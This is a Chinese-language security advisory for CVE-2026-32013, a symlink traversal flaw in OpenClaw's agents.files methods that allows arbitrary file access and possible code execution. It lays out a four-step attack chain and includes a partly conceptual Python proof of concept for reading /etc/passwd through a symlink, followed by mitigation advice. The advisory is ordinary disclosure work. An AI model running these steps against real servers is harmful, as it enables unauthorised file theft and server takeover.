IPBUF安全漏洞报告
English
CVE-2026-32013 CVSS 8.8 高危

CVE-2026-32013 OpenClaw符号链接遍历漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32013
漏洞类型
符号链接遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

符号链接遍历任意文件读写OpenClawRCECVE-2026-32013

漏洞概述

OpenClaw 2026.2.25之前版本存在符号链接遍历漏洞。攻击者可利用`agents.files.get`和`agents.files.set`方法中的缺陷,通过符号链接绕过白名单限制,读写代理工作区之外的文件。该漏洞允许在网关进程权限下访问任意主机文件,且可能通过文件覆盖攻击导致远程代码执行,造成严重安全风险。

技术细节

该漏洞的核心在于OpenClaw的文件操作接口对符号链接的验证逻辑存在缺陷。当攻击者调用`agents.files.get`或`agents.files.set`方法时,系统仅验证请求的文件路径是否位于代理工作区的白名单目录内,却未进一步解析该路径是否为符号链接及其真实指向。攻击者可利用此机制,首先在允许的工作区内创建一个指向敏感系统文件(如`/etc/passwd`、SSH密钥或Web根目录)的符号链接。随后,通过调用文件读取接口,攻击者可以绕过限制直接获取敏感文件内容;通过调用文件写入接口,攻击者可向系统关键位置写入恶意数据。鉴于OpenClaw网关进程通常拥有较高的系统权限,攻击者可能通过覆盖计划任务(crontab)、启动脚本或配置文件,最终在服务器上执行任意系统指令,导致服务器被完全控制。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是OpenClaw 2026.2.25之前的版本。
STEP 2
符号链接创建
攻击者在代理工作区允许的目录内创建一个符号链接,将其指向系统敏感文件(如/etc/passwd)。
STEP 3
路径遍历读取
攻击者调用agents.files.get方法,请求读取该符号链接。由于系统未解析链接真实路径,攻击者成功读取了白名单外的文件。
STEP 4
恶意写入与代码执行
攻击者调用agents.files.set方法,通过符号链接向系统关键文件(如crontab)写入恶意代码,触发远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-32013 (Conceptual) # Exploiting symlink traversal in OpenClaw agents.files methods import requests import json TARGET = "http://vulnerable-openclaw-server:8080" AGENT_ID = "compromised_agent_id" # 1. Create a symlink inside the workspace pointing to a sensitive file (e.g., /etc/passwd) symlink_payload = { "method": "agents.files.set", "params": { "agent_id": AGENT_ID, "path": "malicious_link", "target": "/etc/passwd", # The symlink target "action": "create_symlink" } } # 2. Read the sensitive file through the symlink read_payload = { "method": "agents.files.get", "params": { "agent_id": AGENT_ID, "path": "malicious_link" } } try: print("[*] Attempting to exploit symlink traversal...") # Step 1: Setup Symlink (Mechanism depends on actual API implementation) # r = requests.post(f"{TARGET}/api", json=symlink_payload) # Step 2: Read file via symlink r = requests.post(f"{TARGET}/api", json=read_payload) if r.status_code == 200: data = r.json() print("[+] Exploit successful! Leaked content:") print(json.dumps(data, indent=2)) else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")

影响范围

OpenClaw < 2026.2.25

防御指南

临时缓解措施
建议立即升级到修复版本。在无法立即升级的情况下,应严格限制对OpenClaw服务端口的网络访问,仅允许受信任的内部IP连接,并监控agents.files相关接口的异常调用日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表